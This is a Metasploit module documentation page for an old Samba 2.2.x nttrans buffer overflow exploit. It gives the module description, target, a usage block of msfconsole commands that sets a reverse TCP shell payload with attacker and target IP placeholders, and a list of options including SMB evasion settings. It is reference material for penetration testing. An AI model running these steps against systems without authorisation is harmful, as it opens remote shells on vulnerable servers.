Metasploit Penetration Testing Framework

Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow

This module attempts to exploit a buffer overflow vulnerability present in versions 2.2.2 through 2.2.6 of Samba. The Samba developers report this as: "Bug in the length checking for encrypted password change requests from clients." The bug was discovered and reported by the Debian Samba Maintainers.

Rank

Average

Authors

hdm < hdm [at] metasploit.com >

References

Exploit Targets

0 - Samba 2.2.x Linux x86

Development

Similar Modules

exploit/multi/samba/usermap_script

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/samba/nttrans
msf exploit(nttrans) > show payloads
msf exploit(nttrans) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(nttrans) > set LHOST [MY IP ADDRESS]
msf exploit(nttrans) > set RHOST [TARGET IP]
msf exploit(nttrans) > show targets
msf exploit(nttrans) > set TARGET [TARGET ID]
msf exploit(nttrans) > exploit

Module Options

RHOST	The target address
RPORT	The target port (default: 139)
CHOST	The local client address
CPORT	The local client port
ConnectTimeout	Maximum number of seconds to establish a TCP connection
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
Proxies	Use a proxy chain
SMBDirect	The target port is a raw SMB service (not NetBIOS)
SMBDomain	The Windows domain to use for authentication
SMBName	The NetBIOS hostname (required for port 139 connections)
SMBPass	The password for the specified username
SMBUser	The username to authenticate as
SSL	Negotiate SSL for outgoing connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session
SMB::obscure_trans_pipe_level	Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level	Place extra padding between headers and data (level 0-3)
SMB::pad_file_level	Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion	Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size	Maximum buffer size for pipe reads
SMB::pipe_read_min_size	Minimum buffer size for pipe reads
SMB::pipe_write_max_size	Maximum buffer size for pipe writes
SMB::pipe_write_min_size	Minimum buffer size for pipe writes
TCP::max_send_size	Maxiumum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)

OSVDB:	CVE:
BID:	MSB:
TEXT: